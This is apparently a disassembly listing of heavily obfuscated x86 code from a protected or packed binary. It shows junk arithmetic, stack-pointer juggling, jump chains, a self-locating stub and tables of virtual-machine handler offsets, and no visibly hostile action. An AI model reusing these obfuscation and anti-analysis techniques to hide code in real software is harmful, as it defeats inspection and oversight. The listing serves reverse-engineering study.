		jmp	short loc_5A9684
; ---------------------------------------------------------------------------


loc_5A9682:				; CODE XREF: sub_5A55E5+40A2j
		inc	eax
		inc	edi


loc_5A9684:				; CODE XREF: sub_5A55E5+409Bj
		cmp	byte ptr [edi],	0
		jnz	short loc_5A9682
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5A96B3
; ---------------------------------------------------------------------------


loc_5A9690:				; CODE XREF: sub_5A55E5+40D0j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5A96A8
; ---------------------------------------------------------------------------


loc_5A96A5:				; CODE XREF: sub_5A55E5+40C6j
		mul	ebx
		dec	esi


loc_5A96A8:				; CODE XREF: sub_5A55E5+40BEj
		cmp	esi, 0
		ja	short loc_5A96A5
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5A96B3:				; CODE XREF: sub_5A55E5+40A9j
		or	eax, eax
		jnz	short loc_5A9690
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		or	ebx, [ebp+7FA07D5h]
		push	0
		push	edi
		call	loc_5A96D2
		and	[edi-3Dh], bl


loc_5A96D2:				; CODE XREF: sub_5A55E5+40E5p
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 19h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 13BBh
		dd 0B6FD2BEh, 88B0Fh, 3530000h,	0FA02619Dh, 0D3805A07h
		db 33h
; ---------------------------------------------------------------------------


loc_5A96F9:				; CODE XREF: sub_5A55E5:loc_5A6A3Aj
		mov	eax, ecx
		jmp	loc_5D40B0
; ---------------------------------------------------------------------------
		dd offset byte_64478D
		dd offset dword_642F00
		dd offset byte_64478D
		dd 272001Bh, 0
		dd 2720023h, 0
		dd 206h, 0
		dd 1, 2, 0F8601B04h, 5 dup(0)
		dd offset loc_5B9873
		dd offset loc_5ADCD5
		dd offset loc_5BBF10
		dd offset loc_5B79D6
		dd offset loc_5BB1E0
		dd offset loc_5AEE8F
		dd offset loc_5BA757
		dd offset loc_5AC6B1
		dd offset loc_5AAF3F
; ---------------------------------------------------------------------------
		jmp	esp
; ---------------------------------------------------------------------------
		pop	edx
		add	[eax+2D005BB4h], dl
		les	ebx, [edx+0]
		retn
; ---------------------------------------------------------------------------
		db 0D7h, 5Ah, 0
		dd offset loc_5B333E
		dd offset loc_5B1457
		dd offset loc_5B383C
		dd offset loc_5B0459
		dd offset loc_5BA99F
		dd offset loc_5BA452
		dd offset loc_5BE9AC
		dd offset loc_5A9FAB
		dd offset loc_5ACDCE
		dd offset loc_5AE05C
		dd offset loc_5BAF92
		dd offset loc_5BE516
		dd offset loc_5AB86C
		dd offset loc_5AB6BE
		dd offset loc_5B8894
		dd offset loc_5AB4DA
		dd offset loc_5B9F8E
		dd offset loc_5BD863
		dd offset loc_5B8DE5
		dd offset loc_5ACB8A
		dd offset loc_5B4C93
		dd offset loc_5B4502
		dd offset loc_5B9899
		dd offset loc_5B2851
		dd offset loc_5BF141
		dd offset loc_5B0D88
		dd offset loc_5BBBAE
		dd offset loc_5B7F0B
		dd offset loc_5B10AE
		dd offset loc_5AA35F
		dd offset loc_5B7BFE
		dd offset loc_5B3A31
		dd offset loc_5B0C60
; ---------------------------------------------------------------------------
		pushf
		retf	5Ah
; ---------------------------------------------------------------------------
		dd offset loc_5BDCB6
		dd offset loc_5BCF1D
		dd offset loc_5BD191
		dd offset loc_5BE7CC
		dd offset loc_5AD9A2
		dd offset loc_5AF04A
		dd offset loc_5BECC5
		dd offset loc_5B5330
		dd offset loc_5ADA5A
		dd offset loc_5B71B4
		dd offset loc_5B84BC
		dd offset loc_5AD08A
		dd offset loc_5B89D9
		dd offset loc_5AEBED
		dd offset loc_5BE080
		dd offset loc_5A9B7F
		dd offset loc_5B0B82
		dd offset loc_5BC8C5
		dd offset loc_5AE41A
		dd offset loc_5B1BB3
		dd offset loc_5BE55E
		dd offset loc_5B1C81
		dd offset loc_5B05BE
		dd offset loc_5A9F5A
		dd offset loc_5BB7F8
		dd offset loc_5AE790
		dd offset loc_5AFAE5
		dd offset off_5B112C
		dd offset loc_5BCEF1
		dd offset loc_5BD773
		dd offset loc_5B3903
		dd offset loc_5ABDC7
		dd offset loc_5B1437
		dd offset loc_5ADBD2
		dd offset loc_5B2365
		dd offset loc_5B0F53
		dd offset loc_5BC45F
		dd offset word_5B3AF6
		dd offset loc_5B092D
		dd offset loc_5BA4E0
		dd offset loc_5B8817
		dd offset loc_5ADE1C
		dd offset loc_5AEE0B
		dd offset loc_5AA6CE
		dd offset loc_5B8EB9
		dd offset loc_5B0FAE
		dd offset loc_5AF061
		dd offset loc_5B2E91
		dd offset loc_5B427C
		dd offset loc_5AF15A
		dd offset loc_5AC6F9
		dd offset loc_5ADC6C
		dd offset loc_5BC5AC
		dd offset loc_5AE2B2
		dd offset loc_5AD803
		dd offset loc_5B8699
		dd offset loc_5B8C36
		dd offset loc_5BCD7C
		dd offset loc_5BCF4F
		dd offset loc_5B3E33
		dd offset loc_5B45A3
		dd offset loc_5AD4E7
		dd offset loc_5AB159
		dd offset loc_5B93C0
		dd offset loc_5B090F
		dd offset loc_5B8E60
		dd offset loc_5AB43E
		dd offset loc_5B0E21
		dd offset loc_5B0199
		dd offset loc_5BAA66
		dd offset loc_5AF1D4
		dd offset loc_5AE0C1
		dd offset loc_5AEEB0
		dd offset loc_5AE4C5
		dd offset loc_5BEDD8
		dd offset loc_5B14A1
		dd offset loc_5B3D75
		dd offset loc_5AA7BF
		dd offset loc_5B74BD
		dd offset loc_5ADEF4
		dd offset loc_5B66A6
		dd offset loc_5B19B7
		dd offset loc_5AF187
		dd offset loc_5B8B37
		dd offset loc_5B6650
		dd offset loc_5B3EF8
		dd offset loc_5AAB8A
		dd offset loc_5BAA9E
		dd offset loc_5B6AC9
		dd offset loc_5AF4ED
		dd offset loc_5B04F3
		dd offset loc_5BB505
		dd offset loc_5B6D03
		dd offset loc_5AEBA8
		dd offset loc_5B5C84
		dd offset off_5B5453
		dd offset loc_5ABD7A
		dd offset loc_5B5CFB
		dd offset loc_5B9296
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D4h, 5Ah, 0
		dd offset loc_5B7DEF
		dd offset loc_5AE498
; ---------------------------------------------------------------------------
		mov	edi, 60005ACEh
		jz	short loc_5A99FA
		add	[eax-1DFFA4F3h], dl
		mov	ds:2AF3005Ah, al
		pop	ebx
		add	[eax+66h], bh
		pop	ebx
		add	bl, bh
		daa
		pop	ebx
		add	[esi-31FFA517h], bl
		mov	ebp, 9C09005Ah
		pop	ebx
		add	[edi], cl
		jnp	short loc_5A9A1E
		add	[esi-2BFFA4DDh], bl
		mov	ds:0B29A005Ah, al
		pop	edx
		add	[edx+71005AD9h], bl
		retn
; ---------------------------------------------------------------------------
		dw 5Ah
		dd offset loc_5AC19B
		dd offset loc_5AB0DB
; ---------------------------------------------------------------------------


loc_5A99E0:				; CODE XREF: sub_5A55E5+2EB2Ej
					; sub_5A55E5+2EB38j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7FA7EE4h
		mov	eax, edi
		add	edi, 7FA7BFCh
		cmp	eax, [edi+2Ch]


loc_5A99FA:				; CODE XREF: sub_5A55E5+43B8j
		jnz	short loc_5A99FE
		jmp	short loc_5A9A11
; ---------------------------------------------------------------------------


loc_5A99FE:				; CODE XREF: sub_5A55E5:loc_5A99FAj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5A9A0D
; ---------------------------------------------------------------------------


loc_5A9A08:				; CODE XREF: sub_5A55E5+442Aj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5A9A0D:				; CODE XREF: sub_5A55E5+4421j
		or	ecx, ecx
		jnz	short loc_5A9A08


loc_5A9A11:				; CODE XREF: sub_5A55E5+4417j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5A9A1E:				; CODE XREF: sub_5A55E5+43DCj
					; sub_5A55E5+4440j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5A9A1E


loc_5A9A27:				; CODE XREF: sub_5A55E5+45D2j
					; sub_5A55E5+4662j ...
		lodsb
		push	6FDDh
		jmp	loc_5BB78F
; ---------------------------------------------------------------------------


loc_5A9A32:				; CODE XREF: sub_5A55E5+9B03j
		xor	edi, 44654507h
		jmp	loc_5BE99B
; ---------------------------------------------------------------------------


loc_5A9A3D:				; CODE XREF: sub_5A55E5+FBD3j
		add	esp, 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		push	7996h
		mov	[esp+28h+var_2A+2], ecx
		push	[esp+28h+var_26+2]
		pop	ecx
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], eax
		jmp	loc_5BDA00
; ---------------------------------------------------------------------------


loc_5A9A6F:				; CODE XREF: sub_5A55E5+6B4Fj
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], ebx
		push	eax
		mov	eax, 3ECB2FB4h
		xor	eax, 5A6C42DDh
		sub	eax, 5A17FD14h
		jmp	loc_5B3869
; ---------------------------------------------------------------------------


loc_5A9A9A:				; CODE XREF: sub_5A55E5+9055j
		mov	eax, [edx]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 3CBE6545h
		shl	ebp, 2
		jmp	loc_5AB141
; ---------------------------------------------------------------------------


loc_5A9ABD:				; CODE XREF: sub_5A55E5+12C8Cj
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 1C3709A3h
		jmp	loc_5AB0EF
; ---------------------------------------------------------------------------


loc_5A9ACB:				; CODE XREF: sub_5A55E5+BBA6j
		mov	[esp+28h+var_2A+2], ebx
		jmp	loc_5B5DEA
; ---------------------------------------------------------------------------


loc_5A9AD3:				; CODE XREF: sub_5A55E5+9AABj
		push	ebp
		sub	esp, 4
		mov	[esp+30h+var_32+2], esp
		add	[esp+30h+var_32+2], 4
		mov	ebp, [esp+30h+var_32+2]
		push	edi
		jmp	loc_5AC5B0
; ---------------------------------------------------------------------------


loc_5A9AE7:				; CODE XREF: sub_5A55E5+13221j
		mov	ecx, 4608051Fh
		jmp	loc_5BAC63
; ---------------------------------------------------------------------------


loc_5A9AF1:				; CODE XREF: sub_5A55E5+DEC6j
		shl	edi, 1
		sub	edi, 7540878Ch
		add	ecx, edi
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		xor	eax, ecx
		jmp	loc_5B1934
; ---------------------------------------------------------------------------


loc_5A9B08:				; CODE XREF: sub_5A55E5+69CDj
		add	[esp+30h+var_2E+2], 61033077h
		add	[esp+30h+var_2E+2], ebx
		push	ebx
		mov	ebx, 61033077h
		jmp	loc_5BB33E
; ---------------------------------------------------------------------------


loc_5A9B1F:				; CODE XREF: sub_5A55E5+18566j
		mov	[esp+34h+var_36+2], ebx
		push	edx
		jmp	loc_5B0C1F
; ---------------------------------------------------------------------------


loc_5A9B28:				; CODE XREF: sub_5A55E5+9452j
		sub	al, 34h
		push	ebx
		push	edx
		mov	dl, 0DBh
		inc	dl
		shl	dl, 7
		jmp	loc_5BA64E
; ---------------------------------------------------------------------------


loc_5A9B38:				; CODE XREF: sub_5A55E5+17B39j
		neg	eax
		shl	eax, 1
		shr	eax, 2
		not	eax
		jmp	loc_5B96AD
; ---------------------------------------------------------------------------


loc_5A9B46:				; CODE XREF: sub_5A55E5+C666j
		mov	esi, 1B206D78h
		add	eax, esi
		pop	esi
		add	eax, esi
		push	ecx
		mov	ecx, 1B206D78h
		jmp	loc_5ACFE6
; ---------------------------------------------------------------------------


loc_5A9B5B:				; CODE XREF: sub_5A55E5+677Cj
		pop	esp
		movzx	cx, al
		push	6021h
		mov	[esp+40h+var_42+2], esi
		jmp	loc_5AED20
; ---------------------------------------------------------------------------


loc_5A9B6D:				; CODE XREF: sub_5A55E5+119C4j
		mov	ax, word ptr [esp+40h+var_42+2]
		push	392Fh
		mov	[esp+44h+var_46+2], eax
		push	esi
		jmp	loc_5AF646
; ---------------------------------------------------------------------------


loc_5A9B7F:				; DATA XREF: sub_5A55E5+4257o
		push	[esp+14h+var_14]
		pop	eax
		jmp	loc_5B56FC
; ---------------------------------------------------------------------------


loc_5A9B88:				; CODE XREF: sub_5A55E5+A866j
		push	[esp+14h+var_14]
		jmp	loc_5BB17E
; ---------------------------------------------------------------------------


loc_5A9B90:				; CODE XREF: sub_5A55E5+BE26j
		sub	esi, 0EFF88E73h
		add	ebp, esi
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5B8DD1
; ---------------------------------------------------------------------------


loc_5A9BA6:				; CODE XREF: sub_5A55E5+1516Dj
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		movzx	ecx, ax
		push	7909h
		mov	[esp+14h+var_14], ecx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5A9BBC:				; CODE XREF: sub_5A55E5+19100j
		shl	ah, 2
		push	ebx
		mov	bh, 54h
		jmp	loc_5B0ABB
; ---------------------------------------------------------------------------


loc_5A9BC7:				; CODE XREF: sub_5A55E5+FE50j
		push	edi
		mov	edi, 29C631C7h
		sub	edi, 54C02E58h
		push	ecx
		jmp	loc_5B6BEC
; ---------------------------------------------------------------------------


loc_5A9BD9:				; CODE XREF: sub_5A55E5+515Bj
		sub	ebx, 0F60D7A60h
		mov	ebp, ebx
		pop	ebx
		not	ebp
		jmp	loc_5AA117
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 4
		add	[esp+20h+var_1C], edi
		pop	edi
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_5B4C9D
; ---------------------------------------------------------------------------


loc_5A9BFF:				; CODE XREF: sub_5A55E5+19D94j
		add	al, 3Dh
		jmp	loc_5B9AC1
; ---------------------------------------------------------------------------


loc_5A9C06:				; CODE XREF: sub_5A55E5+16DFFj
		shl	bl, 7
		push	0E7Fh
		mov	[esp+20h+var_22+2], eax
		mov	al, 65h
		add	al, 0ECh
		push	cx
		mov	ch, 0F6h
		jmp	loc_5AE193
; ---------------------------------------------------------------------------


loc_5A9C1E:				; CODE XREF: sub_5A55E5+BA8Ej
		push	eax
		push	ecx
		mov	ecx, 38393F51h
		mov	eax, ecx
		jmp	loc_5B5C26
; ---------------------------------------------------------------------------


loc_5A9C2C:				; CODE XREF: sub_5A55E5+CF33j
		pop	eax
		sub	esi, 2A2B684Fh
		add	esi, edx
		add	esi, 2A2B684Fh
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		xchg	esi, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5A9C4C:				; CODE XREF: sub_5A55E5+1857Cj
		push	ebp
		mov	ebp, 6D7E79A7h
		add	ebp, 0D976FF0h
		dec	ebp
		and	ebp, 433827D5h
		inc	ebp
		add	ebp, 0BCEFDE6Fh
		add	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_5B307A
; ---------------------------------------------------------------------------


loc_5A9C6F:				; CODE XREF: sub_5A55E5+AEE6j
		add	esi, 4
		xchg	esi, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		jmp	loc_5B5D86
; ---------------------------------------------------------------------------


loc_5A9C7D:				; CODE XREF: sub_5A55E5+BCBBj
		pop	ecx
		jmp	loc_5B7E0E
; ---------------------------------------------------------------------------


loc_5A9C83:				; CODE XREF: sub_5A55E5+15360j
		add	edi, edx
		jmp	loc_5BF2D4
; ---------------------------------------------------------------------------


loc_5A9C8A:				; CODE XREF: sub_5A55E5+C0E4j
		push	54C5h
		mov	[esp+26h+var_26], ebp
		mov	ebp, 5944696Bh
		sub	esp, 4
		mov	[esp+2Ah+var_2A], ebx
		push	4C9D0732h
		mov	ebx, [esp+2Eh+var_2E]
		jmp	loc_5B95A4
; ---------------------------------------------------------------------------


loc_5A9CAA:				; CODE XREF: sub_5A55E5+120F2j
		mov	esp, [esp+2Eh+var_2E]
		bts	word ptr [esp+2Eh+var_2E], ax
		pushf
		jmp	loc_5B89D4
; ---------------------------------------------------------------------------


loc_5A9CB8:				; CODE XREF: sub_5A55E5+4872j
		xor	edi, 0B8330F1h
		mov	edx, edi
		push	[esp+32h+var_32]
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		push	4E3h
		mov	[esp+36h+var_36], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+36h+var_36]
		jmp	loc_5ABFF7
; ---------------------------------------------------------------------------


loc_5A9CE7:				; CODE XREF: sub_5A55E5+111A6j
		xchg	ebx, [esp+36h+var_36]
		jmp	loc_5AD728
; ---------------------------------------------------------------------------


loc_5A9CEF:				; CODE XREF: sub_5A55E5+1678Fj
		add	eax, 0ED82D30h
		sub	eax, ebp
		sub	eax, 0ED82D30h
		sub	eax, 759839AAh
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		xchg	eax, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xor	ebp, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebp
		xor	ebp, [esp+32h+var_32]
		pop	esp
		jmp	loc_5B0960
; ---------------------------------------------------------------------------


loc_5A9D2C:				; CODE XREF: sub_5A55E5+B2DBj
		xor	ebx, edx
		pop	edx
		add	ebx, edi
		push	eax
		mov	eax, 0
		jmp	loc_5B8EEB
; ---------------------------------------------------------------------------


loc_5A9D3C:				; CODE XREF: sub_5A55E5+104B8j
		sub	ebp, 163D4841h
		sub	esi, ebp
		pop	ebp
		mov	ebx, esi
		pop	esi
		push	eax
		push	edi
		mov	edi, 9910877h
		mov	eax, 44027990h
		sub	eax, edi
		pop	edi
		xor	ebx, eax
		jmp	loc_5BAD18
; ---------------------------------------------------------------------------


loc_5A9D5E:				; CODE XREF: sub_5A55E5+B6A9j
		push	edx
		jmp	loc_5ADC7D
; ---------------------------------------------------------------------------


loc_5A9D64:				; CODE XREF: sub_5A55E5+DE82j
		push	72D2h
		mov	[esp+32h+var_32], edx
		push	6884h
		jmp	loc_5B6B27
; ---------------------------------------------------------------------------


loc_5A9D76:				; CODE XREF: sub_5A55E5+19DFFj
		add	edi, 53530BF7h
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		push	edx
		jmp	loc_5AD122
; ---------------------------------------------------------------------------


loc_5A9D88:				; CODE XREF: sub_5A55E5+C34Aj
		mov	esi, 63AB2C66h
		jmp	loc_5B9644
; ---------------------------------------------------------------------------


loc_5A9D92:				; CODE XREF: sub_5A55E5+CC6Cj
		mov	bl, 42h
		sub	dh, bl
		pop	bx
		mov	cx, word ptr [esp+3Ch+var_3E+2]
		push	esi
		push	esp
		jmp	loc_5B066B
; ---------------------------------------------------------------------------


loc_5A9DA3:				; CODE XREF: sub_5A55E5+9851j
		mov	[esp+44h+var_46+2], edx
		push	eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, 45h
		not	dl
		shr	dl, 1
		xor	dl, 0ABh
		shl	dl, 4
		or	dl, 9Eh
		push	small 3127h
		mov	word ptr [esp+4Eh+var_50+2], cx
		jmp	loc_5BDF5B
; ---------------------------------------------------------------------------


loc_5A9DC9:				; CODE XREF: sub_5A55E5+10A3Ej
		pop	esp
		xor	edx, [esp+4Ah+var_4A]
		jmp	loc_5B8BF6
; ---------------------------------------------------------------------------


loc_5A9DD2:				; CODE XREF: sub_5A55E5+EF73j
		mov	[esp+4Ah+var_4A], ebx
		mov	ebx, 1714370Ch
		shr	ebx, 6
		add	ebx, 6EB07B33h
		push	42D2h
		mov	[esp+4Eh+var_50+2], edi
		mov	edi, 207E32D0h
		xor	ebx, edi
		pop	edi
		sub	ebx, 4F72FEDBh
		jmp	loc_5BC2D1
; ---------------------------------------------------------------------------


loc_5A9DFE:				; CODE XREF: sub_5A55E5+E3B6j
		and	ebp, 436B3DCAh
		sub	ebp, 5F84139Dh
		add	ebp, 0B30D4BD7h
		and	ecx, ebp
		jmp	loc_5B878B
; ---------------------------------------------------------------------------


loc_5A9E17:				; CODE XREF: sub_5A55E5+9290j
		sub	eax, 51E1A61Dh
		sub	ebx, eax
		jmp	loc_5B726B
; ---------------------------------------------------------------------------


loc_5A9E23:				; CODE XREF: sub_5A55E5+681Dj
		sub	eax, 8221B3Ch
		add	eax, ebx
		add	eax, 8221B3Ch
		pop	ebx
		pop	ecx
		sub	eax, 18980252h
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_5B7F8F
; ---------------------------------------------------------------------------


loc_5A9E3F:				; CODE XREF: sub_5A55E5+F239j
		mov	[esp+42h+var_42], edx
		push	edi
		push	5DB16B26h
		push	[esp+4Ah+var_4A]
		pop	edi
		add	esp, 4
		not	edi
		and	edi, 53CF5285h
		jmp	loc_5A9CB8
; ---------------------------------------------------------------------------


loc_5A9E5C:				; CODE XREF: sub_5A55E5+12F5Ej
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ah+var_4A]
		jmp	loc_5B619D
; ---------------------------------------------------------------------------


loc_5A9E70:				; CODE XREF: sub_5A55E5+C4ABj
		add	esp, 4
		push	eax
		jmp	loc_5ABA29
; ---------------------------------------------------------------------------


loc_5A9E7C:				; CODE XREF: sub_5A55E5+16636j
		or	eax, 42BF10F7h
		push	esi
		mov	esi, 54F12840h
		or	eax, esi
		pop	esi
		sub	eax, 18BCFA27h
		jmp	loc_5BC64D
; ---------------------------------------------------------------------------


loc_5A9E94:				; CODE XREF: sub_5A55E5+EA8Dj
		or	eax, 77015E7h
		xor	eax, 0D68DE422h
		push	edi
		push	ebx
		mov	ebx, 1C853D76h
		jmp	loc_5AA4FE
; ---------------------------------------------------------------------------


loc_5A9EAA:				; CODE XREF: sub_5A55E5+902Ej
		sub	edi, ebp
		jmp	loc_5B9032
; ---------------------------------------------------------------------------


loc_5A9EB1:				; CODE XREF: sub_5A55E5+174D8j
		push	24D8h
		jmp	loc_5B8A17
; ---------------------------------------------------------------------------


loc_5A9EBB:				; CODE XREF: sub_5A55E5+15107j
		pop	eax
		and	ebx, 53C56A63h
		sub	ebx, 128129FFh
		jmp	loc_5BE531
; ---------------------------------------------------------------------------


loc_5A9ECD:				; CODE XREF: sub_5A55E5+11B92j
		pop	[esp+52h+var_54+2]
		jmp	loc_5ABF77
; ---------------------------------------------------------------------------


loc_5A9ED5:				; CODE XREF: sub_5A55E5+199D0j
		push	2FF33977h
		mov	edx, [esp+52h+var_54+2]
		add	esp, 4
		sub	edx, 2ABF0D9h
		jmp	loc_5B4E14
; ---------------------------------------------------------------------------


loc_5A9EEE:				; CODE XREF: sub_5A55E5+1265Fj
		mov	al, 0F1h
		and	al, 48h
		sub	al, 94h
		xor	al, 0BAh
		jmp	loc_5B766E
; ---------------------------------------------------------------------------


loc_5A9EFB:				; CODE XREF: sub_5A55E5+10F30j
		xchg	ebp, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		push	ebp
		mov	ebp, 53113A5Ch
		sub	ebp, 747A5056h
		shr	ebp, 3
		dec	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5AF263
; ---------------------------------------------------------------------------


loc_5A9F19:				; CODE XREF: sub_5A55E5+17FA5j
		add	esp, 4
		push	4EFCh
		mov	[esp+52h+var_54+2], edi
		sub	esp, 4
		mov	[esp+56h+var_58+2], ecx
		jmp	loc_5B16F9
; ---------------------------------------------------------------------------


loc_5A9F2F:				; CODE XREF: sub_5A55E5+14238j
		sub	dh, 36h
		mov	cl, dh
		pop	dx
		sub	cl, 58h
		add	al, 0C9h
		sub	al, cl
		jmp	loc_5AB14E
; ---------------------------------------------------------------------------


loc_5A9F42:				; CODE XREF: sub_5A55E5+124D7j
		mov	esi, 2
		sub	ebp, 3C5134FCh
		jmp	loc_5B533F
; ---------------------------------------------------------------------------


loc_5A9F52:				; CODE XREF: sub_5A55E5+1794Bj
		shr	ecx, 4
		jmp	loc_5AA407
; ---------------------------------------------------------------------------


loc_5A9F5A:				; DATA XREF: sub_5A55E5+4277o
		mov	ax, word ptr [esp+14h+var_14]
		push	4C56h
		mov	[esp+18h+var_18], ecx
		push	10D0h
		mov	[esp+1Ch+var_1C], esp
		push	ecx
		jmp	loc_5AA34A
; ---------------------------------------------------------------------------


loc_5A9F74:				; CODE XREF: sub_5A55E5+8CC0j
		pop	esp
		jmp	loc_5BCE3C
; ---------------------------------------------------------------------------


loc_5A9F7A:				; CODE XREF: sub_5A55E5+1371Fj
		pop	[esp+1Ch+var_1C]
		jmp	loc_5AFC9E
; ---------------------------------------------------------------------------


loc_5A9F82:				; CODE XREF: sub_5A55E5+19E79j
		add	esp, 4
		push	ecx
		mov	ecx, 57531A9Fh
		push	ebp
		jmp	loc_5B6B50
; ---------------------------------------------------------------------------


loc_5A9F94:				; CODE XREF: sub_5A55E5+19855j
		push	edx
		push	edi
		mov	edi, 0B4371ACh
		dec	edi
		inc	edi
		push	ecx
		mov	ecx, 71D00167h
		add	edi, ecx
		pop	ecx
		jmp	loc_5B2BD1
; ---------------------------------------------------------------------------


loc_5A9FAB:				; DATA XREF: sub_5A55E5+41AFo
		neg	[esp+10h+var_10]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5A9FB4:				; CODE XREF: sub_5A55E5+79AEj
		pop	eax
		push	[esp+10h+var_10]
		jmp	loc_5B261B
; ---------------------------------------------------------------------------


loc_5A9FBD:				; CODE XREF: sub_5A55E5+C4F1j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], edi
		mov	edi, 71817226h
		push	esi
		mov	esi, 3A85B69h
		jmp	loc_5B8777
; ---------------------------------------------------------------------------


loc_5A9FE2:				; CODE XREF: sub_5A55E5+1905Bj
		sub	esi, ebx
		pop	ebx
		push	[esp+10h+var_10]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		push	3AECh
		mov	[esp+18h+var_18], eax
		mov	eax, 4
		jmp	loc_5AC9CD
; ---------------------------------------------------------------------------


loc_5AA00E:				; CODE XREF: sub_5A55E5+7FC3j
		push	ebx
		push	ecx
		mov	ecx, 1B6B05FFh
		push	569Eh
		mov	[esp+24h+var_26+2], esi
		mov	esi, 0E494FA05h
		mov	ebx, esi
		pop	esi
		push	edi
		jmp	loc_5B2220
; ---------------------------------------------------------------------------


loc_5AA02B:				; CODE XREF: sub_5A55E5+8467j
		pop	edi
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp+20h+var_22+2]
		pop	esp
		mov	word ptr [esp+1Ch+var_1C], si
		push	eax
		jmp	loc_5BBDDF
; ---------------------------------------------------------------------------


loc_5AA043:				; CODE XREF: sub_5A55E5+15864j
		pop	edi
		xchg	edx, [esp+1Ch+var_1C]
		jmp	loc_5AE364
; ---------------------------------------------------------------------------


loc_5AA04C:				; CODE XREF: sub_5A55E5+E906j
		add	edx, 4
		push	edx
		push	[esp+20h+var_1C]
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		pop	[esp+20h+var_22+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 5DF50D85h
		shl	esi, 4
		sub	esi, 0C8C29CCh
		jmp	loc_5B5F8C
; ---------------------------------------------------------------------------


loc_5AA08A:				; CODE XREF: sub_5A55E5+E610j
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		xchg	ecx, [esp+18h+var_18]
		jmp	loc_5BCFC5
; ---------------------------------------------------------------------------


loc_5AA0A2:				; CODE XREF: sub_5A55E5+6A05j
		mov	ebx, esp
		jmp	loc_5AFD31
; ---------------------------------------------------------------------------


loc_5AA0A9:				; CODE XREF: sub_5A55E5+CAEBj
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		pop	esp
		jmp	loc_5AF239
; ---------------------------------------------------------------------------


loc_5AA0B5:				; CODE XREF: sub_5A55E5+FCFBj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		push	1D7h
		mov	[esp+10h+var_10], edx
		mov	edx, 8000h
		and	eax, edx
		push	[esp+10h+var_10]
		pop	edx
		push	882h
		mov	[esp+14h+var_14], ecx
		push	0C0h
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 6B7936E8h
		jmp	loc_5B654F
; ---------------------------------------------------------------------------


loc_5AA0FE:				; CODE XREF: sub_5A55E5+16F7Dj
		mov	edx, ebp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
